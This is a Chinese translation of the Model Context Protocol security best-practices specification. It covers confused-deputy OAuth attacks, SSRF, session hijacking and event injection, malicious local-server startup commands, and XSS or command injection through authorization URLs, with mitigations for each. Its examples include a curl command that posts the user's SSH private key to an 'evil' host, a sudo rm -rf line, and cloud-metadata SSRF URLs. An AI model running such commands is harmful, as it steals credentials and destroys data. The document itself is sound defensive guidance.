> ## Documentation Index
> Fetch the complete documentation index at: https://mcp.zhcndoc.com/llms.txt
> Use this file to discover all available pages before exploring further.

# 安全最佳实践

> MCP 实现的安全考量、攻击向量和最佳实践

## 引言

### 目的和范围

本文档为 Model Context
Protocol（MCP）提供安全性考虑事项，并补充
[MCP 授权](/specification/2025-03-26/basic/authorization)
规范。本文档识别特定于 MCP 实现的安全风险、攻击向量
以及最佳实践。

本文档的主要受众包括实现
MCP 授权流程的开发人员、MCP 服务器运营者，以及评估基于 MCP 的系统的安全
专业人员。本文档应与 MCP 授权规范以及
[OAuth 2.0 安全最佳实践](https://datatracker.ietf.org/doc/html/rfc9700)一起阅读。

## 攻击与缓解措施

本节详细描述了针对 MCP
实现的攻击，以及可能的应对措施。

### 困惑代理问题

攻击者可以利用连接到第三方
API 的 MCP 代理服务器，创建
“[困惑代理](https://en.wikipedia.org/wiki/Confused_deputy_problem)”
漏洞。该攻击允许恶意客户端通过利用静态客户端 ID、动态客户端注册和同意 cookie 的组合，在没有适当用户同意的情况下获取授权码。

#### 术语

**MCP 代理服务器**
: 一个将 MCP 客户端连接到第三方 API 的 MCP 服务器，提供
MCP 功能，同时委托操作，并作为单一 OAuth
客户端与第三方 API 服务器交互。

**第三方授权服务器**
: 保护第三方 API 的授权服务器。它可能不支持动态客户端注册，因此要求 MCP 代理对所有请求使用静态客户端 ID。

**第三方 API**
: 提供实际 API
功能的受保护资源服务器。访问此 API 需要第三方授权服务器签发的令牌。

**静态客户端 ID**
: MCP 代理服务器在与第三方授权服务器通信时使用的固定 OAuth 2.0 客户端标识符。此 Client ID 指的是作为第三方 API 客户端运行的 MCP 服务器。对于所有 MCP 服务器与第三方 API 的交互，无论是哪个 MCP 客户端发起的请求，其值都相同。

#### 易受攻击的条件

当同时满足以下所有条件时，该攻击才成为可能：

* MCP 代理服务器使用第三方
  授权服务器的 **静态客户端 ID**
* MCP 代理服务器允许 MCP 客户端 **动态注册**（每个客户端都获得自己的 client\_id）
* 第三方授权服务器在首次授权后设置 **同意 cookie**
* MCP 代理服务器在转发到第三方授权之前，没有实现正确的按客户端同意机制

#### 架构与攻击流程

##### 正常的 OAuth 代理使用方式（保留用户同意）

```mermaid theme={null}
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant MC as MCP Client
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server

    Note over UA,M: Initial Auth flow completed

    Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server

    M->>UA: Redirect to third party authorization server
    UA->>TAS: Authorization request (client_id: mcp-proxy)
    TAS->>UA: Authorization consent screen
    Note over UA: Review consent screen
    UA->>TAS: Approve
    TAS->>UA: Set consent cookie for client ID: mcp-proxy
    TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
    UA->>M: 3P Authorization code
    Note over M,TAS: Exchange 3P code for 3P token
    Note over M: Generate MCP authorization code
    M->>UA: Redirect to MCP Client with MCP authorization code

    Note over M,UA: Exchange code for token, etc.
```

##### 恶意的 OAuth 代理使用方式（跳过用户同意）

```mermaid theme={null}
sequenceDiagram
    participant UA as User-Agent (Browser)
    participant M as MCP Proxy Server
    participant TAS as Third-Party Authorization Server
    participant A as Attacker


    Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
    A->>M: Dynamically register malicious client, redirect_uri: attacker.com
    A->>UA: Sends malicious link
    UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
    rect rgba(255, 17, 0, 0.67)
    TAS->>TAS: Cookie present, consent skipped
    end

   TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
   UA->>M: 3P Authorization code
   Note over M,TAS: Exchange 3P code for 3P token
   Note over M: Generate MCP authorization code
   M->>UA: Redirect to attacker.com with MCP Authorization code
   UA->>A: MCP Authorization code delivered to attacker.com
   Note over M,A: Attacker exchanges MCP code for MCP token
   A->>M: Attacker impersonates user to MCP server
```

#### 攻击描述

当 MCP 代理服务器使用静态客户端 ID 与
第三方授权服务器进行认证时，以下攻击便成为可能：

1. 用户通过 MCP 代理服务器正常认证，以访问
   第三方 API
2. 在此流程中，第三方授权服务器在用户代理上设置一个 cookie，
   表示其已对静态客户端 ID 进行同意
3. 攻击者之后向用户发送一个恶意链接，其中包含一个
   构造的授权请求，该请求包含一个恶意重定向 URI，
   以及一个新动态注册的客户端 ID
4. 当用户点击该链接时，其浏览器仍然保留着上一次合法请求留下的同意
   cookie
5. 第三方授权服务器检测到该 cookie，并跳过
   同意页面
6. MCP 授权码被重定向到攻击者的服务器
   （在恶意 `redirect_uri` 参数中指定，位于
   [动态客户端注册](/specification/2025-03-26/basic/authorization#dynamic-client-registration)期间）
7. 攻击者将窃取到的授权码兑换为 MCP 服务器的访问
   令牌，而无需用户明确批准
8. 攻击者现在能够以被攻陷的
   用户身份访问第三方 API

#### 缓解措施

为防止困惑代理攻击，MCP 代理服务器 **必须** 按如下所述实现
按客户端同意和适当的安全控制。

##### 同意流程实现

下图展示了如何正确实现应在第三方授权流程
之前运行的按客户端同意：

```mermaid theme={null}
sequenceDiagram
    participant Client as MCP Client
    participant Browser as User's Browser
    participant MCP as MCP Server
    participant ThirdParty as Third-Party AuthZ Server

    Note over Client,ThirdParty: 1. Client Registration (Dynamic)
    Client->>MCP: Register with redirect_uri
    MCP-->>Client: client_id

    Note over Client,ThirdParty: 2. Authorization Request
    Client->>Browser: Open MCP server authorization URL
    Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...

    alt Check MCP Server Consent
        MCP->>MCP: Check consent for this client_id
        Note over MCP: Not previously approved
    end

    MCP->>Browser: Show MCP server-owned consent page
    Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
    Browser->>MCP: POST /consent (approve)
    MCP->>MCP: Store consent decision for client_id

    Note over Client,ThirdParty: 3. Forward to Third-Party
    MCP->>Browser: Redirect to third-party /authorize
    Note over MCP: Use static client_id for third-party

    Browser->>ThirdParty: Authorization request (static client_id)
    ThirdParty->>Browser: User authenticates & consents
    ThirdParty->>Browser: Redirect with auth code

    Browser->>MCP: Callback with third-party code
    MCP->>ThirdParty: Exchange code for token (using static client_id)
    MCP->>Browser: Redirect to client's registered redirect_uri
```

##### 所需防护

**按客户端同意存储**

MCP 代理服务器 **必须**：

* 为每个用户维护已批准 `client_id` 值的注册表
* 在启动第三方
  授权流程之前检查此注册表
* 安全地存储同意决定（服务端数据库，或特定于服务器的 cookie）

**同意 UI 要求**

MCP 层的同意页面 **必须**：

* 清晰标识请求的 MCP 客户端名称
* 显示所请求的具体第三方 API 作用域
* 显示令牌将被发送到的已注册 `redirect_uri`
* 实现 CSRF 防护（例如 state 参数、CSRF 令牌）
* 通过 `frame-ancestors` CSP 指令或
  `X-Frame-Options: DENY` 防止被 iframe 嵌入，以避免点击劫持

**同意 Cookie 安全性**

如果使用 cookie 跟踪同意决定，它们 **必须**：

* 在 cookie 名称中使用 `__Host-` 前缀
* 设置 `Secure`、`HttpOnly` 和 `SameSite=Lax` 属性
* 进行加密签名或使用服务端会话
* 绑定到特定的 `client_id`（而不仅仅是“用户已同意”）

**Redirect URI 验证**

MCP 代理服务器 **必须**：

* 验证授权请求中的 `redirect_uri` 与已注册 URI 完全一致
* 如果 `redirect_uri` 在未重新注册的情况下发生变化，则拒绝请求
* 使用精确字符串匹配（而不是模式匹配或通配符）

**OAuth State 参数验证**

OAuth `state` 参数对于防止授权码
拦截和 CSRF 攻击至关重要。正确的 state 验证可确保
在授权端点上的同意批准会在回调端点得到强制执行。

实现 OAuth 流程的 MCP 代理服务器 **必须**：

* 为每个授权请求生成一个加密安全的随机 `state` 值
* 仅在同意已被明确批准后，才将 `state` 值保存在服务端
  （安全会话存储或加密 cookie）中
* 在重定向到第三方身份提供方之前的**紧接着**设置 `state` 跟踪 cookie/会话（不是在同意批准之前）
* 在回调端点验证 `state` 查询参数
  与回调请求的 cookie 中或请求的基于 cookie 的会话中存储的值完全匹配
* 拒绝任何 `state` 参数缺失
  或不匹配的回调请求
* 确保 `state` 值只能使用一次（验证后删除），并且
  具有较短的过期时间（例如 10 分钟）

在用户在 MCP 服务器授权端点上批准同意页面
之前，**不得**设置包含 `state` 值的同意 cookie 或会话。若在同意批准之前设置该 cookie，
则会使同意页面失效，因为攻击者可以通过构造恶意授权请求来绕过它。

### Token 透传

“Token 透传” 是一种反模式，指的是 MCP 服务器在没有验证这些 token 是否已正确发放给 *MCP 服务器* 的情况下，从 MCP 客户端接收 token，并将其转发给下游 API。

#### 风险

在
[authorization specification](/specification/2025-03-26/basic/authorization)
中，token 透传被明确禁止，因为它会引入多种安全风险，包括：

* **安全控制绕过**
  * MCP 服务器或下游 API 可能实现了重要的安全控制，例如速率限制、请求验证或流量监控，这些控制依赖于 token 的受众或其他凭证约束。如果客户端能够在不经由 MCP 服务器正确验证，或不确保 token 是为正确服务签发的情况下，直接与下游 API 使用这些 token，它们就会绕过这些控制。
* **问责与审计追踪问题**
  * 当客户端使用上游签发的访问 token 调用时，MCP 服务器将无法识别或区分不同的 MCP 客户端，而该 token 对 MCP 服务器来说可能是不可见的。
  * 下游资源服务器的日志可能会显示这些请求似乎来自不同的来源、具有不同的身份，而不是实际上在转发这些 token 的 MCP 服务器。
  * 这两个因素都会使事件调查、控制和审计更加困难。
  * 如果 MCP 服务器在不验证其声明（例如角色、权限或受众）或其他元数据的情况下传递 token，那么持有被盗 token 的恶意行为者就可以把该服务器当作数据外传的代理。
* **信任边界问题**
  * 下游资源服务器只向特定实体授予信任。这种信任可能包含对来源或客户端行为模式的假设。破坏这一信任边界可能会导致意想不到的问题。
  * 如果一个 token 在未经适当验证的情况下被多个服务接受，那么攻破其中一个服务的攻击者就可以使用该 token 访问其他已连接的服务。
* **未来兼容性风险**
  * 即使某个 MCP 服务器今天作为“纯代理”启动，未来也可能需要添加安全控制。从一开始就正确地进行 token 受众隔离，会使安全模型更容易演进。

#### 缓解措施

MCP 服务器 **不得** 接受任何未明确发放给 MCP 服务器的 token。

### 服务器端请求伪造（SSRF）

服务器端请求伪造（SSRF）是一种攻击，攻击者可以诱使 MCP 客户端向非预期的目标发起 HTTP 请求，从而可能访问内部网络资源、云元数据端点或其他受保护的服务。

#### 攻击描述

在 OAuth 元数据发现期间，MCP 客户端会从多个可能受恶意 MCP 服务器控制的来源获取 URL：

1. `WWW-Authenticate` 响应头中的 `resource_metadata` URL
2. 受保护资源元数据文档中的 `authorization_servers` URLs
3. 授权服务器元数据中的 `token_endpoint`、`authorization_endpoint` 以及其他 URLs

恶意 MCP 服务器可以将这些字段填充为指向内部资源的 URL，从而实现以下攻击模式：

* **直接访问内部 IP**：类似 `http://192.168.1.1/admin` 或 `http://10.0.0.1/api` 的 URL 会指向内部网络服务
* **云元数据端点**：指向 `http://169.254.169.254/`（AWS/GCP/Azure 元数据服务）的 URL 可能泄露云凭证和实例信息
* **本地主机服务**：类似 `http://localhost:6379/` 的 URL 可与本地服务（Redis、数据库、管理面板）交互
* **DNS 重新绑定**：在验证和使用之间更改 DNS 解析的域名（例如，`https://attacker.com` 最初解析为安全 IP，之后解析为 `192.168.1.1`）
* **重定向链**：看起来正常的 URL 重定向到内部资源

```mermaid theme={null}
sequenceDiagram
    participant Client as MCP 客户端
    participant MCP as 恶意 MCP 服务器
    participant Internal as 内部服务

    Client->>MCP: 连接到 MCP 服务器
    MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."

    Note over Client: 客户端在未验证的情况下跟随 URL
    Client->>Internal: GET http://169.254.169.254/latest/meta-data/
    Internal-->>Client: 云凭证/元数据

    Note over Client: 错误或响应细节泄露给攻击者
    Client->>MCP: 后续请求携带错误详情
```

#### 风险

* **凭证泄露**：云元数据端点通常会暴露 IAM 凭证、API 密钥和其他机密
* **内部网络侦察**：错误消息会暴露有关内部网络拓扑和服务的信息
* **服务交互**：POST 请求（例如发送到 token 端点）可能会触发对内部服务的变更
* **防火墙绕过**：MCP 客户端充当代理，绕过网络边界控制
* **数据泄露**：内部服务响应可能会通过错误消息或 OAuth 流程被反射回攻击者

#### 缓解措施

部署到服务器上的 MCP 客户端 **必须** 考虑 SSRF 风险，并在获取与 OAuth 相关的 URL 时实施适当的缓解措施。具体应采用哪些防护措施取决于你的网络环境。

**强制使用 HTTPS**

MCP 客户端在生产环境中 **应该** 要求所有与 OAuth 相关的 URL 使用 HTTPS：

* 拒绝 `http://` URL，但开发期间允许回环地址（`localhost`、`127.0.0.1`、`::1`）除外
* 这与
  [OAuth 2.1 第 1.5 节](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
  一致，该规范要求除回环重定向 URI 外，所有 OAuth 协议 URL 都必须使用 HTTPS
* 为开发/测试场景提供明确的退出机制

**阻止私有 IP 段**

MCP 客户端 **应该** 按照
[RFC 9728 第 7.7 节](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7)
的建议，阻止对私有和保留 IP 地址段的请求：

* IPv4 私有地址段：`10.0.0.0/8`、`172.16.0.0/12`、
  `192.168.0.0/16`
* 回环：`127.0.0.0/8`、`::1`（除非为开发目的明确允许）
* 链路本地：`169.254.0.0/16`（包括云元数据端点）
* IPv6 私有地址段：`fc00::/7`、`fe80::/10`

<Note>
  避免手动实现 IP 验证。攻击者会利用编码技巧
  （八进制、十六进制、IPv4 映射 IPv6），而自定义解析器通常会漏掉这些情况。
</Note>

**验证重定向目标**

MCP 客户端 **应该** 对重定向目标应用相同的 URL 验证：

* 不要盲目跟随重定向到内部资源
* 对重定向目标应用 HTTPS 和 IP 段限制
* 考虑禁用自动跟随重定向，并对每一跳进行验证

**使用出站代理**

对于服务器端 MCP 客户端部署，运营者 **应该** 考虑使用强制执行网络策略的出站代理：

* 将 OAuth 发现请求路由通过可阻止内部目标的代理
* 使用类似
  [Smokescreen](https://github.com/stripe/smokescreen) 或其他设计上可防止 SSRF 的出站代理工具
* 配置网络策略以限制 MCP 客户端的出站访问

**DNS 解析注意事项**

注意基于 DNS 验证时的检查与使用时间差（TOCTOU）问题：

* 攻击者的域名在验证时可能解析为安全 IP，但在实际请求时解析为内部 IP
* 考虑在检查和使用之间锁定 DNS 解析结果
* 深度防御：将 DNS 检查与其他缓解措施结合使用

#### 资源与工具

以下资源可以帮助开发者在 MCP 客户端中实现 SSRF 防护。

**参考文档**

* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)：
  关于 SSRF 防护技术的全面指南，包括输入验证、允许列表策略和网络级控制
* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)：
  最关键 Web 应用安全风险背景下的 SSRF 介绍

### 会话劫持

会话劫持是一种攻击向量，客户端由服务器提供一个会话 ID，而未授权方能够获取并使用相同的会话 ID，从而冒充原始客户端并代表其执行未授权操作。

#### 会话劫持提示注入

```mermaid theme={null}
sequenceDiagram
    participant Client
    participant ServerA
    participant Queue
    participant ServerB
    participant Attacker

    Client->>ServerA: 初始化（连接到可流式 HTTP 服务器）
    ServerA-->>Client: 响应会话 ID

    Attacker->>ServerB: 访问/猜测会话 ID
    Note right of Attacker: 攻击者知道/猜测会话 ID

    Attacker->>ServerB: 触发事件（恶意载荷，使用会话 ID）
    ServerB->>Queue: 入队事件（以会话 ID 为键）

    ServerA->>Queue: 轮询事件（使用会话 ID）
    Queue-->>ServerA: 事件数据（恶意载荷）

    ServerA-->>Client: 异步响应（恶意载荷）
    Client->>Client: 基于恶意载荷执行操作
```

#### 会话劫持冒充

```mermaid theme={null}
sequenceDiagram
    participant Client
    participant Server
    participant Attacker

    Client->>Server: 初始化（登录/认证）
    Server-->>Client: 响应会话 ID（已创建持久会话）

    Attacker->>Server: 访问/猜测会话 ID
    Note right of Attacker: 攻击者知道/猜测会话 ID

    Attacker->>Server: 发起 API 调用（使用会话 ID，无需重新认证）
    Server-->>Attacker: 以攻击者就是客户端的身份响应（会话劫持）
```

#### 攻击描述

当你有多个处理 MCP 请求的有状态 HTTP 服务器时，以下攻击向量是可能的：

**会话劫持提示注入**

1. 客户端连接到 **服务器 A** 并接收一个会话 ID。

2. 攻击者获取一个现有的会话 ID，并使用该会话 ID 向 **服务器 B** 发送恶意事件。
   * 当服务器支持
     [重发/可恢复流](/specification/2025-03-26/basic/transports#resumability-and-redelivery) 时，
     在接收响应之前故意终止请求，可能会导致原始客户端通过用于服务器发送事件的 GET
     请求恢复该请求。
   * 如果某个服务器会因工具调用而启动服务器发送事件，例如
     `notifications/tools/list_changed`，并且这会影响服务器提供的工具，则客户端最终可能会获得其并不知道已启用的工具。

3. **服务器 B** 将该事件（与会话 ID 关联）加入共享队列。

4. **服务器 A** 使用会话 ID 轮询队列中的事件，并检索到恶意载荷。

5. **服务器 A** 将恶意载荷作为异步或恢复的响应发送给客户端。

6. 客户端接收并根据恶意载荷采取行动，导致潜在的入侵。

**会话劫持冒充**

1. MCP 客户端与 MCP 服务器进行认证，创建一个持久会话 ID。
2. 攻击者获取该会话 ID。
3. 攻击者使用该会话 ID 调用 MCP 服务器。
4. MCP 服务器不检查额外授权，并将攻击者视为合法用户，从而允许未授权访问或操作。

#### 缓解措施

为防止会话劫持和事件注入攻击，应实施以下缓解措施：

实现授权的 MCP 服务器 **MUST** 验证所有入站请求。MCP 服务器 **MUST NOT** 将会话用于认证。

MCP 服务器 **MUST** 使用安全、不可预测的会话 ID。
生成的会话 ID（例如 UUID）**SHOULD** 使用安全随机数生成器。避免使用可预测或顺序递增的会话标识符，因为攻击者可能猜测出来。轮换或过期会话 ID 也可以降低风险。

MCP 服务器 **SHOULD** 将会话 ID 与特定用户信息绑定。
在存储或传输与会话相关的数据（例如在队列中）时，将会话 ID 与授权用户独有的信息组合起来，例如其内部用户 ID。使用类似
`<user_id>:<session_id>` 的键格式。这样即使攻击者猜到会话 ID，也无法冒充其他用户，因为用户 ID 是从用户令牌派生而来，而不是由客户端提供的。

MCP 服务器可以选择利用额外的唯一标识符。

### 本地 MCP 服务器被攻破

本地 MCP 服务器是运行在用户本地机器上的 MCP 服务器，
可以是用户下载并执行的服务器、用户自行编写的服务器，或通过客户端的配置流程安装的服务器。
这些服务器可能直接访问用户系统，也可能被用户机器上的其他进程访问，因此很容易成为攻击目标。

#### 攻击描述

本地 MCP 服务器是下载后在与 MCP 客户端相同的机器上执行的二进制程序。
如果没有适当的沙箱隔离和同意要求，以下攻击就成为可能：

1. 攻击者在客户端配置中包含恶意的“启动”命令
2. 攻击者在服务器本身中分发恶意载荷
3. 攻击者通过 DNS 重新绑定访问一个未加固、仍在 localhost 上运行的本地服务器

可嵌入的恶意启动命令示例：

```bash theme={null}
# 数据外泄
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# 权限提升
sudo rm -rf /important/system/files && echo "MCP server installed!"
```

#### 风险

来自不受信任来源、且限制不足的本地 MCP 服务器会带来若干严重的安全风险：

* **任意代码执行**。攻击者可以使用 MCP 客户端的权限执行任意命令。
* **无可见性**。用户无法了解正在执行哪些命令。
* **命令混淆**。恶意行为者可以使用复杂或晦涩的命令来伪装得像是合法操作。
* **数据外泄**。攻击者可以通过被攻陷的 JavaScript 访问合法的本地 MCP 服务器。
* **数据丢失**。攻击者或合法服务器中的漏洞都可能导致主机上的数据永久丢失。

#### 缓解措施

如果 MCP 客户端支持一键式本地 MCP 服务器配置，
在执行命令之前，**MUST** 实现适当的同意机制。

**配置前同意**

在通过一键配置连接新的本地 MCP 服务器之前，显示一个清晰的同意对话框。MCP 客户端 **MUST**：

* 显示将要执行的确切命令，不得截断（包括参数和参数值）
* 明确将其标识为一种会在用户系统上执行代码的潜在危险操作
* 在继续之前要求用户明确批准
* 允许用户取消配置

MCP 客户端 **SHOULD** 实现额外的检查和防护措施，以减轻潜在的代码执行攻击向量：

* 高亮显示潜在危险的命令模式（例如包含 `sudo`、`rm -rf`、网络操作、访问预期目录之外的文件系统的命令）
* 对访问敏感位置的命令显示警告（主目录、SSH 密钥、系统目录）
* 提示 MCP 服务器与客户端具有相同的权限运行
* 在具有最小默认权限的沙箱环境中执行 MCP 服务器命令
* 启动 MCP 服务器时限制其对文件系统、网络及其他系统资源的访问
* 提供机制，让用户在需要时显式授予额外权限（例如特定目录访问、网络访问）
* 使用适合平台的沙箱技术（容器、chroot、应用沙箱等）
* 及时更新沙箱方案，以应对新出现的漏洞

打算在本地运行其服务器的 MCP 服务器 **SHOULD** 采取措施，防止恶意进程未经授权使用：

* 使用 `stdio` 传输，以将访问限制为仅 MCP 客户端
* 如果使用 HTTP 传输，则限制访问，例如：
  * 要求授权令牌
  * 使用 unix 域套接字或其他受限访问的进程间通信（IPC）机制

### OAuth 授权 URL 验证

恶意 MCP 服务器提供的 OAuth 授权 URL 可能利用客户端侧 URL 处理漏洞，导致跨站脚本（XSS）攻击和远程代码执行（RCE）。

#### 攻击描述

在 OAuth 授权流程中，MCP 服务器会提供授权 URL，客户端会在浏览器中打开这些 URL，或以程序方式处理它们。恶意服务器可以通过以下攻击向量，利用 MCP 客户端中不足的 URL 验证：

**JavaScript URL 注入（XSS）**

1. 恶意 MCP 服务器将 `javascript:` URL 作为授权端点提供
2. MCP 客户端将该 URL 直接传递给 `window.open()` 或类似的浏览器 API
3. 浏览器执行 URL 中嵌入的 JavaScript 代码
4. 攻击者在客户端应用程序中获得 JavaScript 执行上下文，可能导致会话劫持、凭据窃取或进一步利用

**通过 Shell 执行进行命令注入**

1. 恶意 MCP 服务器提供包含 shell 命令注入载荷的 URL
2. MCP 客户端使用 shell 命令（例如 `cmd.exe`、PowerShell 或 shell 脚本）打开该 URL
3. shell 将 URL 的部分内容解释为要执行的额外命令
4. 攻击者在用户系统上实现任意代码执行

**stdio 传输权限提升**

当 XSS 漏洞与 `stdio` 传输能力结合时，
攻击者可以将基于 Web 的攻击升级为对整个系统的完全控制。参见
[代理场景中的 stdio 传输安全](#stdio-transport-security-in-proxy-scenarios)
以了解详细的攻击向量和缓解措施。

```mermaid theme={null}
sequenceDiagram
    participant MaliciousMCP as 恶意 MCP 服务器
    participant Client as MCP 客户端
    participant Proxy as MCP 代理
    participant System as 主机系统

    MaliciousMCP->>Client: 恶意授权 URL (javascript:)
    Client->>Client: 执行 JavaScript（XSS）
    Client->>Client: 提取代理认证令牌
    Client->>Proxy: 恶意 stdio 命令请求
    Note over Client,Proxy: 使用窃取的认证令牌
    Proxy->>System: 执行任意命令
    System-->>Proxy: 命令输出
    Proxy-->>Client: 命令结果
    Client-->>MaliciousMCP: 数据外传/建立持久化
```

#### 风险

OAuth 授权 URL 漏洞会带来若干严重的安全风险：

* **跨站脚本（XSS）**。恶意 JavaScript 执行可能导致会话劫持、凭据窃取以及在客户端应用程序内执行未授权操作。
* **远程代码执行（RCE）**。通过 shell 执行进行命令注入使攻击者能够以用户权限运行任意代码。
* **权限提升**。XSS 与 `stdio` 传输结合后，可能将基于 Web 的攻击升级为对整个系统的完全控制。
* **数据外传**。攻击者可以访问存储在用户系统上的敏感数据、配置文件和凭据。
* **持久化**。攻击者可以安装恶意软件、创建后门或修改系统配置以获得持久访问。

#### 缓解措施

**URL Scheme 验证**

MCP 客户端 **必须** 验证授权 URL 并拒绝危险的 scheme：

* **必须** 仅允许授权 URL 使用 `http://` 和 `https://` scheme。
  `http://` scheme 仅在本地开发期间对回环地址（例如
  `localhost`、`127.0.0.1` 或 `::1`）可接受；生产环境中的授权
  服务器 **必须** 使用 `https://`。
* **必须** 拒绝 `javascript:`、`data:`、`file:`、`vbscript:` 以及其他潜在危险的 scheme
* **应当** 使用基于允许列表的验证，而不是基于阻止列表的方法

**安全打开 URL**

MCP 客户端 **必须** 避免在打开 URL 时执行 shell：

* **不得** 使用 shell 命令（例如 `cmd.exe`、`sh`、PowerShell）打开 URL
* **应当** 使用平台特定的、非 shell 的 URL 打开机制

**内容安全策略（CSP）**

基于 Web 的 MCP 客户端 **应当** 实现内容安全策略头，以防止 JavaScript 执行：

* 设置 `script-src 'self'` 以防止执行内联 JavaScript
* 使用 `default-src 'self'` 来限制资源加载
* 对于需要内联脚本的动态内容，考虑使用 `script-src 'nonce-<random>'`

**输入净化**

MCP 客户端 **必须** 对从 MCP 服务器接收的所有 URL 进行净化和验证：

* 实现严格的 URL 解析和验证
* 拒绝包含可能被 shell 解释的特殊字符的 URL
* 考虑使用专门的 URL 净化库
* 记录可疑的授权 URL 以便进行安全监控

### 代理场景中的 stdio 传输安全

`stdio` 传输本身并不天然脆弱。然而，在代理架构中，如果一个独立的代理服务负责管理 `stdio` 连接，并且可以将 MCP 服务器作为子进程启动，那么它就可能成为从基于 Web 的攻击升级到完全系统入侵的关键路径。

#### 攻击描述

**重要**：此攻击向量仅适用于使用代理架构的 MCP 实现，不适用于直接使用 `stdio` 传输的情况。

在基于代理的 MCP 实现中，一个本地代理服务位于客户端和 MCP 服务器之间，通过 `stdio` 传输以子进程形式启动服务器。当与客户端侧漏洞结合时，这种架构会形成一条特权升级路径：

1. 攻击者获得 XSS 或其他客户端侧代码执行能力（例如，通过 OAuth URL 漏洞）
2. 利用上述攻击向量，恶意行为者从客户端环境中访问客户端与代理之间建立的 MCP 代理认证令牌
3. 恶意行为者向本地 MCP 代理服务发起经过认证的请求
4. 代理通过 `stdio` 传输启动任意命令（误以为它们是合法的 MCP 服务器命令）
5. 攻击者以用户权限实现远程代码执行

#### 风险

* **权限提升**。基于 Web 的漏洞（XSS）可通过代理命令执行升级为主机系统上的任意代码执行
* **认证绕过**。被盗取的代理认证令牌可使攻击者未经授权访问 `stdio` 进程启动能力
* **系统入侵**。攻击者可以执行 MCP 代理进程有权限运行的任何命令

#### 缓解措施

主要防御手段是防止能够启用此攻击向量的漏洞类别：

* 实施 [OAuth 授权 URL 验证](#oauth-authorization-url-validation) 中描述的缓解措施
* 使用内容安全策略（CSP）防止来自不受信任来源的 JavaScript 执行
* 在处理之前验证并清理来自 MCP 服务器的所有输入

由于 XSS 从根本上会破坏客户端的安全上下文，因此应重点限制损害：

**stdio 传输限制**

MCP 代理服务 **应当** 为 `stdio` 传输实施额外的安全控制：

* 为启动的进程实施沙箱或容器化
* 限制启动的 MCP 服务器的文件系统访问
* 记录所有 `stdio` 传输使用情况以进行安全监控
* 对潜在危险命令要求额外授权

**客户端侧防护**

MCP 客户端 **应当** 实施纵深防御措施：

* 在可能的情况下，将代理通信隔离在单独的安全上下文中
* 对代理进程权限使用最小权限原则
* 为代理服务本身实施进程级沙箱
* 考虑将代理运行在容器或受限环境中

### 范围最小化

糟糕的范围设计会增加令牌泄露的影响，加大用户
摩擦，并使审计线索变得模糊。

#### 攻击描述

攻击者通过日志泄漏、内存抓取或本地
拦截获取一个访问令牌，该令牌携带宽泛的范围（`files:*`、`db:*`、
`admin:*`），这些范围是因为 MCP 服务器在 `scopes_supported` 中暴露了
所有范围，而客户端将它们全部请求后预先授予的。
该令牌使攻击者能够进行横向数据访问、特权链式利用，并在不重新同意整个
攻击面时难以撤销。

#### 风险

* 爆炸半径扩大：被盗的宽泛令牌可启用无关的
  工具/资源访问
* 撤销摩擦更高：撤销最高权限令牌会破坏
  所有工作流
* 审计噪声：单一包罗万象的范围掩盖了每次操作的用户意图
* 特权链式利用：攻击者可立即调用高风险工具，
  无需进一步的提升提示
* 同意放弃：用户会拒绝列出过多范围的对话框
* 范围膨胀盲区：缺乏指标会使过于宽泛的请求
  变得正常化

#### 缓解措施

实现一种渐进式、最小权限的范围模型：

* 最小初始范围集合（例如 `mcp:tools-basic`），仅包含
  低风险的发现/读取操作
* 在首次尝试特权操作时，通过有针对性的 `WWW-Authenticate` `scope="..."`
  挑战逐步提升权限
* 降级范围容忍：服务器应接受已缩减范围的令牌；认证服务器
  可以签发所请求范围的子集

服务器指导：

* 发出精确的范围挑战；避免返回完整目录
* 记录提升事件（请求的范围、授予的子集），并带上
  关联 ID

客户端指导：

* 仅以基线范围（或初始 `WWW-Authenticate` 指定的范围）开始
* 缓存最近的失败，避免对被拒绝的范围反复进入提升循环

#### 常见错误

* 在 `scopes_supported` 中发布所有可能的范围
* 使用通配符或包罗万象的范围（`*`、`all`、`full-access`）
* 将无关权限捆绑在一起以预先避免未来提示
* 在每次挑战中返回整个范围目录
* 在没有版本管理的情况下静默更改范围语义
* 在没有服务器端
  授权逻辑的情况下，认为令牌中声明的范围就足够了

适当的最小化可限制泄露影响、提升审计
清晰度，并减少同意反复出现的负担。
